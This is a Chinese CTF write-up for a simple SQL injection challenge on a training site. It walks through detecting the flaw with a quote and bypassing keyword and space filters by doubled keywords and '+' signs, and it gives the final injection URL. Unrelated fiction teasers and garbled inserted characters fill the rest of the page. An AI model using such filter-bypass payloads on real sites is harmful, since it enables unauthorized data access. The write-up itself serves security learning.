實(shí)驗(yàn)吧CTF 簡(jiǎn)單的sql注入解題WriteUp

解題思路:研究了好久,看了這道CTF題目的writeup才知道

在文本框輸入1掌眠,提交蕾盯,鏈接變成id=1

在文件框輸入1‘,提交蓝丙,報(bào)錯(cuò)级遭,判斷存在注入。

初步預(yù)計(jì)后臺(tái)表為flag,字段名為flag,需要構(gòu)造union?select?flag?from?flag來(lái)執(zhí)行渺尘。

根據(jù)第二步的報(bào)錯(cuò)信息看挫鸽,多加個(gè)‘,后面的語(yǔ)句需要再構(gòu)造一個(gè)條件來(lái)結(jié)束’沧烈,注入語(yǔ)句為:1‘?union?select?flag?from?flag?where?'t'='t

執(zhí)行后報(bào)錯(cuò):heck?the?manual?that?corresponds?to?your?MySQL?server?version?for?the?right?syntax?to?use?near?'flag?flag?'t'='t''?at?line?1

分析:根據(jù)錯(cuò)誤信息發(fā)現(xiàn)只有變量了掠兄,其他的關(guān)鍵字都被過(guò)濾了。

把關(guān)鍵字寫2遍提交,發(fā)現(xiàn)如下報(bào)錯(cuò):?corresponds?to?your?MySQL?server?version?for?the?right?syntax?to?use?near?'unionselectflag?fromflag?where't'='t''?at?line?1

分析:發(fā)現(xiàn)空格被過(guò)濾了

使用+號(hào)在空格之前連接:

http://ctf5.shiyanbar.com/423/web/?id=1?'+unionunion?+selectselect?+flag+fromfrom?+flag+wherewhere+'t'='t

得到KEY:flag{xxxxxx}

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末蚂夕,一起剝皮案震驚了整個(gè)濱河市迅诬,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌婿牍,老刑警劉巖侈贷,帶你破解...
    沈念sama閱讀 222,729評(píng)論 6 517
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異等脂,居然都是意外死亡俏蛮,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,226評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門上遥,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)搏屑,“玉大人,你說(shuō)我怎么就攤上這事粉楚±绷担” “怎么了?”我有些...
    開封第一講書人閱讀 169,461評(píng)論 0 362
  • 文/不壞的土叔 我叫張陵模软,是天一觀的道長(zhǎng)伟骨。 經(jīng)常有香客問(wèn)我,道長(zhǎng)燃异,這世上最難降的妖魔是什么携狭? 我笑而不...
    開封第一講書人閱讀 60,135評(píng)論 1 300
  • 正文 為了忘掉前任,我火速辦了婚禮回俐,結(jié)果婚禮上逛腿,老公的妹妹穿的比我還像新娘。我一直安慰自己仅颇,他們只是感情好鳄逾,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,130評(píng)論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著灵莲,像睡著了一般雕凹。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上政冻,一...
    開封第一講書人閱讀 52,736評(píng)論 1 312
  • 那天枚抵,我揣著相機(jī)與錄音,去河邊找鬼明场。 笑死汽摹,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的苦锨。 我是一名探鬼主播逼泣,決...
    沈念sama閱讀 41,179評(píng)論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼趴泌,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了拉庶?” 一聲冷哼從身側(cè)響起嗜憔,我...
    開封第一講書人閱讀 40,124評(píng)論 0 277
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎氏仗,沒(méi)想到半個(gè)月后吉捶,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,657評(píng)論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡皆尔,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,723評(píng)論 3 342
  • 正文 我和宋清朗相戀三年呐舔,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片慷蠕。...
    茶點(diǎn)故事閱讀 40,872評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡珊拼,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出流炕,到底是詐尸還是另有隱情杆麸,我是刑警寧澤,帶...
    沈念sama閱讀 36,533評(píng)論 5 351
  • 正文 年R本政府宣布浪感,位于F島的核電站,受9級(jí)特大地震影響饼问,放射性物質(zhì)發(fā)生泄漏影兽。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,213評(píng)論 3 336
  • 文/蒙蒙 一莱革、第九天 我趴在偏房一處隱蔽的房頂上張望峻堰。 院中可真熱鬧,春花似錦盅视、人聲如沸捐名。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,700評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)镶蹋。三九已至,卻和暖如春赏半,著一層夾襖步出監(jiān)牢的瞬間贺归,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,819評(píng)論 1 274
  • 我被黑心中介騙來(lái)泰國(guó)打工断箫, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留拂酣,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,304評(píng)論 3 379
  • 正文 我出身青樓仲义,卻偏偏與公主長(zhǎng)得像婶熬,于是被迫代替她去往敵國(guó)和親剑勾。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,876評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容

  • 在學(xué)習(xí)sql注入的過(guò)程中赵颅,一開始只想著怎么手工注入虽另,卻發(fā)現(xiàn)手工注入的道路,說(shuō)麻煩不麻煩性含,但是說(shuō)簡(jiǎn)單也很不簡(jiǎn)單洲赵,相...
    沙雕帶你蒿羊毛閱讀 9,077評(píng)論 0 0
  • 注入攻擊的分類 1.沒(méi)有正確過(guò)濾轉(zhuǎn)義字符 在用戶的輸入沒(méi)有為轉(zhuǎn)義字符過(guò)濾時(shí),就會(huì)發(fā)生這種形式的注入式攻擊商蕴,它會(huì)被傳...
    查無(wú)此人asdasd閱讀 1,632評(píng)論 0 5
  • 姓名:于川皓 學(xué)號(hào):16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無(wú)涯_cc76閱讀 1,962評(píng)論 0 2
  • https://juejin.im/entry/59a4bbb56fb9a0247a60eb5c?utm_sour...
    凱旋閱讀 138評(píng)論 0 0
  • 誰(shuí)說(shuō)你心腸硬 還沉默寡言 那是沒(méi)遇到如水的姑娘以前 一旦邂逅 就淺吟低唱 柔腸綿綿
    蕙蘭漱雪閱讀 496評(píng)論 0 0